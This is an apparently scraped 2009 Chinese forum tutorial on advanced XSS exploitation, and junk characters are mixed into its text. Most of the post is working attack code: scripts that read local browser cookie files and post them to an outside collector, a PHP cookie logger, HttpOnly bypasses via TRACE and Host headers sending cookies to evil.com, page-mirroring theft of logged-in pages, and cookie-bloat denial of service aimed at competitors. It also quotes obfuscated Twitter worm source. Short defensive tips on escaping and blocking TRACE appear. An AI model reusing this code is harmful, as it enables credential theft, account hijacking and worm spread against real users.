XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页5 A1 C$ {; E5 p
本帖最后由 racle 于 2009-5-30 09:19 编辑 ) u/ a! \ W" j1 ?1 Z) Y
/ Z9 v# Z2 M z% JXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------
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' ^( ^2 l+ z' y; q& t5 U本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.3 S/ M( f* X' r/ e* u y
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
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http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
' ~0 @% a7 N. @3 O% [http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过4 [" L6 z& I/ j0 A
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF) l! S! q' H* M
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
l' }3 H" I, y* \' Vhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持" [+ }" U) G& J5 F) D2 y) ^
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/ i4 c% B" |9 k# z, d6 @3 Z% J, |如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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" n9 z3 z8 S+ V9 p希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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2 h$ r- T6 P; t如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.( o; z/ a7 A) ?3 }, D$ i" g
. o2 B" d/ I, \7 JOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.6 T D x) c0 z- X8 t% t/ h
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
2 t1 z5 \2 V1 L7 w2 [9 @- F; q复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.2 @/ N3 s' @" {3 Y! K5 j$ ?7 t
我们在这里重点探讨以下几个问题:
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# z/ F2 P9 \* c1 通过XSS,我们能实现什么?5 q9 Y& S% B F0 f' ^& H4 Y' `
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?! C4 M( h; i! V+ k7 A
. ?# o/ |% M) I6 q1 G; v3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.( q$ e: w6 A1 Z( l. c
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.& ~' _# Y2 W# h0 ^
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫& I2 U- S: Y" D9 E* S- g7 k0 O
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.; l' Q" J( l: l# g* p/ N6 X" Z
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.$ I+ \% W' `0 U. }& {7 V
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ l% H6 Q; g6 }$ K' b3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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* ^. V( m7 M, n我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)" y+ ]) N2 X3 T+ K( f
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。, ^ Z, h6 q' a
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/ }0 }/ D* y5 E 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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( S: r) v: y: x, i; \. n3 ~ 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
4 N9 @+ T2 w. V9 A" J复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){
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var request = false;+ y- y. ` g. s4 c1 F3 o
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if(window.XMLHttpRequest) {/ v9 i4 s5 q N* X
. ]. ]3 ~' k0 s: x, V0 i request = new XMLHttpRequest();/ x x1 {8 ]# [) u
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} else if(window.ActiveXObject) {
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# w4 Q7 \. S6 w5 H4 d# b4 ~ 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) F8 a1 ?) b& d0 {" d
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try {$ A& t3 L0 z' T
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}
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_x.open(_m,action,false); e& n0 K) x/ L* O
4 a' J# u( y$ }9 k+ Y2 T if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);4 v* _! o P% |/ ^. k
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+ O9 o @; E h var txt=_7or3("GET","file://localhost/C:/11.txt",null);; V; F" f9 M4 @& v
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alert(txt);5 x' y) _5 I4 c5 d( n
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</script>
& K9 }& x# ]- p; N复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>5 b& L: N1 ~! Z
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function $(x){return document.getElementById(x)}
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$ o# H6 k" b+ I& o& W! M, @0 L function ajax_obj(){
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var request = false;! A8 r; V& H7 F; g- y2 u* x- ^
8 [& d+ h# d3 t( u1 ^+ x if(window.XMLHttpRequest) {" ~2 m! |7 J4 q. n
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} else if(window.ActiveXObject) {# R, F. Q, s/ a& j; C5 h! N+ c: \, {' S
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6 s" p" o2 c! k4 B 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 I0 z1 B/ l ]
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try {4 T* [: G) z0 r! [2 C# _
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} catch(e) {}
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}
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}
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var _x = ajax_obj();! _( T5 K# M3 f, A. z; J6 C# P- T' N
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_x.open(_m,action,false);8 W. a. p" w. E- R3 u4 \
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");: b4 @- X5 F0 Z6 N/ e* n
5 ~0 ]0 ?7 Q: E1 Z _x.send(argv);
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: b, h% }. w, S9 S4 T9 H* | var txt=_7or3("GET","1/11.txt",null);# U3 d3 b# B3 Q9 f1 Y2 x1 M: C
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; N1 {, z2 K$ H </script>
# u' p% O l5 n" m5 c1 }复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”4 t4 a9 Y& X2 f0 W: j: Q! L
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F: [5 w& N T6 f8 U# I1 Q. JChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/*
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9 D8 M7 _0 n* V$ s; V Chrome 1.0.154.53 use ajax read local txt file and upload exp : _- J" [5 m% w9 ^" Q5 G
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8 a! c4 O; Y& Z% Z5 s4 G& n: O author voidloafer@gmail.com 2009-4-22 * V9 j1 t9 n& |
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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+ M9 [ u) ]% p/ R8 Oheader("Content-type: application/kxlzx"); # {* o. p* E; x( I
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/* ! [ L: j4 q; m! w6 W# n
/ n! J$ T+ s4 q! @# _4 ~ set header, so just download html file,and open it at local. 3 L& Q4 p: C3 R* C( O! p
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?>
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; m3 V: x5 V4 w! H<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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</form>
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<script>
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function doMyAjax(user)
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4 `4 Z4 c% D( r; m7 fvar time = Math.random(); 0 j/ B5 n4 e; Q: A
9 l; W/ U' N0 e/*
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8 V+ O; |8 r7 M9 E; f' Jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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$ @* }6 m$ s2 R* S% f Band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 3 L5 t3 ~7 K5 b; X
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and so on...
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7 w# n$ [4 I2 V1 Q- C+ @. V# I) cvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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3 R8 ~. ~+ Q- C2 X. a5 TstartRequest(strPer); 3 K0 m1 N, c+ ~* i s
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, ]+ ~2 W# x' W9 {/ p' F6 Yfunction Enshellcode(txt)
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{
2 z1 o0 P) P' ^
- |* ^0 b1 O( |5 }9 l9 ~var url=new String(txt); 6 z* \: q$ E/ r8 P7 U) b/ e
8 y2 Z" l# a7 L2 i( y3 evar i=0,l=0,k=0,curl="";
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l= url.length; ) {2 v8 U' _) h) {# i
+ q% _5 ] p6 o9 }
for(;i<l;i++){ 9 o6 W: a1 L) N- B8 @/ J4 [
0 p7 R2 I9 _0 t5 F/ Q) F
k=url.charCodeAt(i); & n8 K2 x5 W" F+ X
/ @ U, Q: C0 v4 t2 j* Tif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
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9 _* p" \( v) tcurl=curl.replace(/(..)(..)/g,"%u$2$1"); 7 ]; b3 A6 x# e( R% _& a
s3 J8 p) v; g" Treturn curl; 8 `* N+ b- U2 C5 ]
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7 z; B: g$ _. L: J; f9 h) y
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3 ^) u& Z% ~- D2 ~3 `; m zvar xmlHttp; 5 d2 _; i- k, C( u! N# P. `6 I
5 M" F& K* w2 Z! }1 Y/ efunction createXMLHttp(){ * o/ S1 k& h7 g0 E; H# K
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if(window.XMLHttpRequest){
2 }2 c: b Q# T7 ^2 R, F
* a# ?( F; n! kxmlHttp = new XMLHttpRequest();
+ Y) y* o9 {% M0 M. Q7 g
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3 E/ T: s. \- V, n- P+ g else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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function startRequest(doUrl){ 5 J- F% L' [. g5 h7 E- |
3 U5 F3 {5 Z; k+ b" w9 E
- \# g! z9 t' u. B4 b1 i5 f! U- j3 w2 T, B# n& U% K" P
createXMLHttp(); - B$ I4 \, R9 C8 ~- F3 @$ L
+ h. v& ^) A5 `3 y# e
6 c; X) _) A# I; U2 i$ G
8 U* U7 m9 t: H& W, E xmlHttp.onreadystatechange = handleStateChange; . `0 _. t5 B2 I% o5 P
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) p5 E5 @- R3 v# T L8 u- q xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); , d& h. U! t$ R) q8 B' M1 P$ l6 Q
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5 c& z% T/ C- J0 G2 Q! u% {2 Z}
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5 x0 |8 D0 s6 H" C* X" m& z7 k4 E+ _! l* g
function handleStateChange(){ " ~% Y9 O) `* D1 B$ U: e
- v9 v# n/ z. {! P+ M4 b
if (xmlHttp.readyState == 4 ){ + f. S) S/ r, l0 c- G3 f W
- ^7 I" w. L( l( T, j var strResponse = "";
% i) D% v I% M1 b z
$ c6 [) i0 H; E4 K$ ?0 Z setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); + a3 R6 b6 W: @, ]$ R* D
* g. ?5 Z9 B W8 i
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+ Q" p1 k6 f6 T" V, Q
} & T: N) `# T4 a$ u6 R8 G4 E9 d [
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9 U- F- ^) l, Z, r6 ?4 b: y9 H
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& C( S; L0 s! G7 J8 ~, F4 r3 Ffunction framekxlzxPost(text)
+ B' g7 i: G8 e& D1 J6 U2 i4 N j9 L* i# t8 m/ H
{
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document.getElementById("input").value = Enshellcode(text);
% }6 E: e( i3 a: _- F. M' N# ~# l' h5 a2 d
$ {4 c: v [' M' k2 a# e1 Y( M document.getElementById("form").submit(); ; g Q: _+ ?0 R; M. F
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doMyAjax("administrator");
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7 l/ Y l- I3 ?6 z9 ^ e</script>
1 x- Y; t, _# Q$ n# [复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
7 O1 n0 K, O% L& S2 p) |) K7 b
2 x: Y; I- `' n" H& W' |7 ofunction createXMLHttp(){
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if(window.XMLHttpRequest){ . j( L5 M8 O/ O# T- I
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xmlHttp = new XMLHttpRequest(); 5 O+ t6 }) _. s4 j
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} & ^2 l9 _# \3 s- T0 p1 `
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else if(window.ActiveXObject){
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5 f5 @+ n9 X+ |2 V- A2 Y xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} $ h: ?4 B8 _$ O4 O: S6 ^
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function startRequest(doUrl){
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0 i6 `" t- y" Q0 Y createXMLHttp();
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+ R2 t( M' I! f+ |( t! q5 n0 W" H
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xmlHttp.onreadystatechange = handleStateChange; 5 \5 d1 a; @$ E% H- _
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8 \3 Z7 [8 d, d" t9 k5 F xmlHttp.open("GET", doUrl, true);
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' f) e- D$ r0 ` xmlHttp.send(null);
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* V4 o+ I" U3 A- s}
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function handleStateChange(){ / e" r. d. g `5 C ^0 @& e
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if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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J) C& g9 }% ` setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); J; M$ I0 C1 G9 N$ E
5 `/ U9 G- c( [/ p( ]8 i$ X - ?" K1 x4 k/ ^
* r6 {( u; R8 u3 m; L. s } 0 Z+ c0 O0 D# ?' ]* h9 F5 b0 H3 G
' s) n9 d# K y# j- ^0 d! R}
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2 b4 ?6 v* s* ~. w/ K: s; p/ U! s# ?& t" z2 h; `
function doMyAjax(user,file)
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{ 3 i' l% B+ P, g
9 e0 W3 ^, K. j' h8 L8 s% ` var time = Math.random(); : u- N& `( C! Q6 c5 L* N+ v
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; # u0 P+ [* U7 x; C
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startRequest(strPer); - m% Z( y6 }( H! E8 I9 u# f
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+ R. G9 k" b" S' c h7 {- m5 Qfunction framekxlzxPost(text) : Z( @* w; ], J: X3 a8 j+ t- P- @# d
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); $ O, }4 M6 c4 l: F, i1 C C7 |
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alert(/ok/); 5 s, c* ]/ b$ y1 F4 C/ y
$ {5 U) l' W' {+ R/ m}
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+ [) a* n; R) ` f
" `5 R: i: F2 W% s. odoMyAjax('administrator','administrator@alibaba[1].txt');
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/ `1 w0 K7 K/ _9 Y" Y# ~9 o# a</script>
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' p% Z+ ~/ X% ]$ G5 na.php
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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0 V2 U& O3 _: z6 Z1 t) l2 k) X* L$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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! i9 T# Q* ^1 g f, I" W* M- I$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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! J3 Z- w6 G* a% _4 yfclose($fp);
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?> , e$ U5 {! d+ f8 s# R
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.7 E% ~" V1 R2 ?% I+ O/ W& p
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.9 k3 t) @% H& P5 ?% ]' U C2 q
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);# d, Y2 I9 Y$ U8 _% K
& Z/ r, T! P7 ?9 J$ Y4 s//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);3 f$ [% o% S; a+ S
& Y8 R! C8 s6 m6 g4 O//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);* S# O) Q* Z2 I3 ]7 N
& }! u, w+ Q9 C' ]function getURL(s) {9 Z" [. u8 m! g' |0 Y7 T5 ~
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var image = new Image();% G7 o2 a4 H% G2 {0 N6 V' f
5 a5 H& S$ q: m0 Iimage.style.width = 0;0 ~+ i, {' @" D( {( U& u
' L- L2 k5 A. k0 P, k% simage.style.height = 0;' b/ L) Y0 V4 {& I% c! e3 @
3 o; x, F) B2 B+ H0 E( u( Q5 Dimage.src = s;, ^* w* d5 \" [1 I* C3 A& _
" I4 j* N, _) A, K7 Y' y}$ m A: ]! B7 ~4 g& C9 j( s
8 Y7 P) r, U( P. T% d; }0 a) x8 T$ BgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);3 \! L: Y; V h* C: G5 V
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等./ W2 B& k, l t1 R7 _" b
这里引用大风的一段简单代码:<script language="javascript">
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# d, v, ?- c/ i. q+ ^) O4 Q9 _var metastr = "AAAAAAAAAA"; // 10 A
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var str = "";3 ?! U" G' v& F+ X& H
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while (str.length < 4000){: @% g0 j, ~0 T2 {( H$ J2 D3 S
' O3 O$ K* W d! I, k! r' d4 V0 ^ str += metastr;
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! u) U9 \6 J* |$ ]
! \% @) u- o# L7 y, X! q edocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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% J3 l( W9 q! v( T# O</script>
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) X1 G P% [& ^4 D$ y! u* @8 x详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
6 T7 I, N8 }8 L3 X* _+ r复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
! I7 f3 p; X: u" L' A6 Z" [server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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& @" k4 M2 H1 ^3 _+ H3 ?7 x9 W假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
d* _- j% y( ^+ i4 Z5 t4 V5 @攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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1 d* o; \; u+ e- C6 T1 N(III) Http only bypass 与 补救对策:4 _. g3 \4 e3 N3 \6 z5 a
0 {+ O$ ?7 u0 ~: f什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.- p3 O: j/ @2 q, g% t
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--
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% b' \- R6 b% B' X, ]function normalCookie() { , x* j% \1 f( V6 L9 @8 j7 }
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document.cookie = "TheCookieName=CookieValue_httpOnly"; ) i7 A! H* v, f" ]( H* k) Z Y
8 T. Z, x6 w# I; b% j# T' ialert(document.cookie);' i' I4 }& I. y3 s( y8 H
9 ]2 b+ G9 b2 R0 \3 i. D9 V- Z g& T}
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G C5 |+ }, ofunction httpOnlyCookie() { 9 l( @2 U3 ]+ V; t/ {: j. c0 X
( `+ K4 q3 h- zdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
; w" _; |6 a5 H+ x! A: h
3 ]' i. p2 M0 E' S+ \8 yalert(document.cookie);}% K1 \* G- K4 ~% S# W
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//-->
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</script># y' @* ] k( u+ s, j2 {- K7 G+ x0 {" `
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>7 M V& d' y( N% {
$ w4 }# w% R, L" h, a<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>- K/ v2 ^ }! o" D) r1 u
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script># z; q/ R8 L* `+ ^' \
0 s7 l9 ~; o& H& X
! C" I# z6 _2 p
/ y" D8 y/ N; {& t0 i E* Bvar request = false;. _" n, K9 S5 j
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if(window.XMLHttpRequest) {
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6 I" M+ ?5 f4 K3 @% w) Q! P request = new XMLHttpRequest();
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" j( }& H9 F: E2 | if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');
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}$ q6 e# k$ T- D& {2 y; w
0 a. N- r- M: R } else if(window.ActiveXObject) {5 a9 f5 o) j/ r* e* I U
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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! {' I3 O j& b8 u! }" b9 R d5 m } catch(e) {}3 N+ A: \( D; E! j( P' v
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xmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);3 \% @+ K; q4 h5 W+ g4 A
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xmlHttp.send(null);/ O. B" w. ]4 v* t a7 p0 B$ G1 X
$ I% g* x! u5 J; zxmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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; D; g4 N( _9 o+ d0 L# {& i% B</script>* u& U. r# y+ k4 O. T7 ~* K
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>- q. _7 R2 j5 C3 _; K0 r g
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ T- o+ _2 R3 g! s# F3 k/ t4 {7 R* y
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XmlHttp.open("GET","http://www.google.com",false);, D0 L' \4 Y4 r7 ^- N
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");0 R. \# H! Q: z- F! w
: q; {* N& ~- I" c6 F( b4 a. ]XmlHttp.send(null);
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3 B/ X7 U( _' W! Fvar resource=xmlHttp.responseText% o$ R4 `) b) N) g, m: i0 |, T
, V) ^/ l8 J. y7 U& A M, Xresource.search(/cookies/);' z) l$ _$ ~9 @) [9 g
! m. ~6 e, T% O. k+ @5 D7 [......................8 P- T: O) c5 D6 z; ]; m9 A6 b
. F( m) a3 L6 w4 O z2 f</script>
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2 a( C J* P0 \$ G* j8 |: X
) K# M% y1 r4 x9 b" d/ t! e$ S如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]
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$ r) Y+ p4 I6 \( _( K1 GRewriteEngine On8 n5 z( m- }5 D
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RewriteCond %{REQUEST_METHOD} ^TRACE& E6 F* H0 S7 k% e$ R/ r+ ? }: A
# G: R$ l( Q" u7 hRewriteRule .* - [F]/ W* D4 C2 ~# L8 q$ G3 g4 @
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5 m' W- t u9 \7 y( @5 kSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE# V$ d' ]3 |9 f7 Y5 I2 r/ O
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6 g( f; d6 {" E& ^8 j& `/ S$ N* Thttp_access deny TRACE
3 ^& a, g8 r2 r' z$ q; t" e7 `复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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* w- U* ?/ h8 U& i" s) R. @XmlHttp.open("GET","http://www.google.com",false);4 A- @" x( J/ ^: U+ r9 w' f
2 `! M8 t5 m. \' z; D1 ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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, P9 d( t; x! `$ m) Q</script>2 E3 a! i( F7 S4 }/ |! Y: [
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>9 V6 }+ y6 {% ~/ A
b$ M7 f0 Q' D9 k1 mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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$ R% G/ Z# x! Y, H( rXmlHttp.send(null);3 |0 {- |* ^4 A% o; c
# M$ j C0 c; x% C: i/ _<script>
! t, @3 k) A/ l0 U. H4 m- n复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 a+ y+ M6 ?& m4 x复制代码案例:Twitter 蠕蟲五度發威 {# i* y) ~& E+ H" y# k
第一版:
Y9 ]$ g, D: u& N/ O7 m 下载 (5.1 KB)
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/ k/ h9 Z2 e! ^) T, S/ d9 P6 天前 08:27
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) {, E/ ` M7 n8 p& i# w' T第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){
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4 o" h5 m/ g6 l; `, ` 4. var _0x6687x2,_0x6687x3=false; & ?) K7 U5 z q. h, L! f
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; ( ]4 o {( E9 V# ?& N
复制代码第六版: 1. function wait() {
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! A k9 I1 r4 z9 M 2. var content = document.documentElement.innerHTML; * g2 v9 {# t7 b% o$ |
S7 l2 v; L& r/ E. ]7 y 3. var tmp_cookie=document.cookie; W+ K8 ^ o8 V
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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; M* ]4 Y& P% `5 c* S J 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; : g" Q0 }2 C2 I# d$ p% @5 H
% n* W( n/ ~- f5 g; K 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
